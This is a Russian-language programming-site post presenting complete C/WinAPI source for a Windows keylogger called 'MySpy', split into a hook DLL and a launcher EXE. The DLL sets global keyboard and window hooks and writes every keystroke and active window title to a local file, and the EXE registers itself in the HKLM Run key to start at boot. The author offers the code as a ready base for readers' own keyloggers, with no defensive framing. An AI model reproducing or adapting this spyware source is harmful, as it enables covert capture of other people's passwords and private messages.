Кейлоггер для Windows "MySpy". Си, WinApi.
- Родительская категория: x32
- Категория: Исходники x32
- Опубликовано 18 Январь 2015
- Автор: HandyCat
- Просмотров: 8922
Скачать бесплатный кейлоггер можно, но лучше написать его самому! Кейлоггер для Windows, написан на Win API. Используется перехват нажатия клавиш с помощью SetWindowsHookEx (WH_KEYBOARD,...). Соответственно создается исполняемый файл и библиотека dll. Кстати, таким образом писать кейлоггер для Windows, с использованием dll, как ни странно, наиболее предпочтительно в настоящее время в связи с прекрасной совместимостью с Windows 7. Перехват клавиш без использования dll (WH_KEYBOARD_LL) вызывает у семерки непонимание. Приходится шаманить, колдовать, чтобы заставить кейлоггер для Windows работать, но это все-же более полезно и правильно, чем искать, где скачать бесплатный кейлоггер. Выход конечно же всегда найдется, но все же, если хотите написать нормальный кейлоггер для Windows, предпочтительно использовать SetWindowsHookEx (WH_KEYBOARD,...).
В указанном коде правильно и замечательно реализовано определение раскладки клавиатуры. Стоит заметить, что с целью однократного запуска приложения используется CreateMutex (). Код достаточно прост и очень неплох. Можно смело брать за основу собственного кейлоггера для Windows. Как и где скачать бесплатный кейлоггер пускай думают другие!
Исходник DLL:
//Hook.cpp : DLL-ка //Кейлоггер для windows #include < windows.h > #include < stdio.h > #pragma data_seg(".hdata") // секция в памяти общая для всех процессов HINSTANCE hi=NULL; // эта переменная может изменяться любым поетому //сдесь не должно быть ничего лишнего #pragma data_seg() // конец секции #pragma comment(linker, "/section:.hdata,rws")//даем права этой секции #ifdef __cplusplus #define EXPORT extern "C" __declspec (dllexport) #else #define EXPORT __declspec (dllexport) #endif EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию // а эти будут у всех свои HANDLE hFile=NULL; // !!!!! хэндл файла для каждого процесса //должен быть свой !!!!! HHOOK hKeyHook=NULL; HHOOK hCBTHook=NULL; //кейлоггер для windows void WriteTime(void) // записывает дату и время { DWORD NOfBytes; OVERLAPPED ovlp; DWORD ffsze; SYSTEMTIME time; char buffer[30]; GetLocalTime(&time); // получаем дату и время // форматируем это в String sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay, time.wMonth,time.wYear,time.wHour,time.wMinute); ffsze=GetFileSize(hFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); //пишем в файл } //кейлоггер для windows void WriteTitle(HWND hWnd) // записывает имя окна { WriteTime(); // сначала пишем время DWORD NOfBytes; OVERLAPPED ovlp; DWORD ffsze; char buffer[250]; char title[256]; GetWindowText(hWnd,title,100); // получаем имя sprintf(buffer," %s\r\n",title); ffsze=GetFileSize(hFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); } short GetSymbolFromVK(WPARAM wParam) //кейлоггер для windows //переводит код нажатой клавиши в текст { BYTE btKeyState[256]; HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры WORD Symbol; GetKeyboardState(btKeyState); if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT return Symbol; return -1; } //кейлоггер для windows void WriteSymbol(WPARAM wParam) // записывает нажатие в файл { DWORD NOfBytes; OVERLAPPED ovlp; DWORD ffsze; WORD wc; ffsze=GetFileSize(hFile,NULL); ovlp.OffsetHigh=0; ovlp.hEvent=NULL; ovlp.Offset=ffsze; if(wParam==VK_RETURN) WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp); else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст if(iswprint(wc)) // проверяем или знак текстовой WriteFile(hFile,&wc,1,&NOfBytes,&ovlp); } //кейлоггер для windows BOOL APIENTRY DllMain(HINSTANCE hModule, DWORD ul_reason_for_call,LPVOID lpReserved) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: // вызывается каждый раз когда новый процесс грузит DLL в свою память { if(!hi) //запоминаем запустивший хэндл(наша DLL) толко //первый раз, чтобы он небыл переписан на новый hi=hModule; char pfad[MAX_PATH]; // путь к файлу должен быть //обязательно полный, иначе каждый процесс // будет создавать новый в своем каталоге GetModuleFileName(hi,pfad,MAX_PATH); // путь к нашей ДЛЛ *(strrchr(pfad,'\\')+1)='\0'; // выкидываем ее имя strcat(pfad,"KeySpy.txt"); // вставляем имя файла // каждый процесс должен открыть для себя файл отдельно if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_WRITE|FILE_SHARE_READ,NULL, OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE) return FALSE; break; } case DLL_PROCESS_DETACH: { // Снимать хуки и закрывать файл необязательно // Система делает это автоматически // UnhookWindowsHookEx(hKeyHook); // UnhookWindowsHookEx(hCBTHook); // CloseHandle(hFile); break; } default: break; } return TRUE ; } //кейлоггер для windows LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) // вызывается при нажатии или отпускании клавиши { if (nCode) return CallNextHookEx(hKeyHook,nCode,wParam,lParam); if(lParam>=0) // нам нужно только нажатие WriteSymbol(wParam); return CallNextHookEx(hKeyHook,nCode,wParam,lParam); // обработали передаем дальше } //кейлоггер для windows LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam) { if(nCode==HCBT_ACTIVATE) // вызывается перед тем как система собирается //активировать какоето окно или открыть новое WriteTitle((HWND)wParam); // wParam новый HWND return CallNextHookEx(hCBTHook, nCode, wParam, lParam); // обработали передаем дальше } //кейлоггер для windows BOOL SetKeyboardHook(void) // эту функцию надо вызывать из приложения для создания ловушек { hKeyHook=SetWindowsHookEx(WH_KEYBOARD,&KeyboardProc,hi,0); hCBTHook=SetWindowsHookEx(WH_CBT ,&CBTProc,hi,0); return hKeyHook && hCBTHook; } //конец DLL
Исходник EXE:
//KeySpy.cpp // #include < windows.h > #ifdef __cplusplus #define IMPORT extern "C" __declspec (dllimport) #else #define IMPORT __declspec (dllimport) #endif IMPORT BOOL SetKeyboardHook(void); // функция импортируемая из DLL BOOL Mutex(LPSTR szName) // проверяет запущена ли уже копия { HANDLE hMutex = CreateMutex (NULL, TRUE, szName); if (GetLastError() == ERROR_ALREADY_EXISTS) { CloseHandle(hMutex); return FALSE; // уже запущена } return TRUE; // все путем } void Registry(void) // вписываем в автозапуск { HKEY hKey = HKEY_LOCAL_MACHINE; LPCTSTR lpSubKey ="Software\\Microsoft \\Windows\\CurrentVersion\\Run"; DWORD dwType = REG_SZ; HKEY key; RegOpenKeyEx(hKey,lpSubKey,0,KEY_WRITE,&key); char pfad[MAX_PATH]; GetModuleFileName(NULL,pfad,MAX_PATH); RegSetValueEx(key,"KeySpy",0,REG_SZ, (LPBYTE)pfad,strlen(pfad)); } //кейлоггер для windows int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { if(!Mutex("MySpy")) return 1; // одна копия уже есть закрываемся Registry(); if(!SetKeyboardHook()) // устанавливаем хуки return 1; // не получилось закрываемся // а это бесконечный цикл MSG msg; while (GetMessage (&msg, NULL, 0, 0)) { TranslateMessage (&msg); DispatchMessage (&msg); } return 0; } //конец EXE
Обязательно вставляем в проект hook.lib и переносим hook.dll в одну директорию с MySpy.exe. Кейлоггер для Windows готов! Марочить Гуглу голову, где же скачать бесплатный кейлоггер не нужно!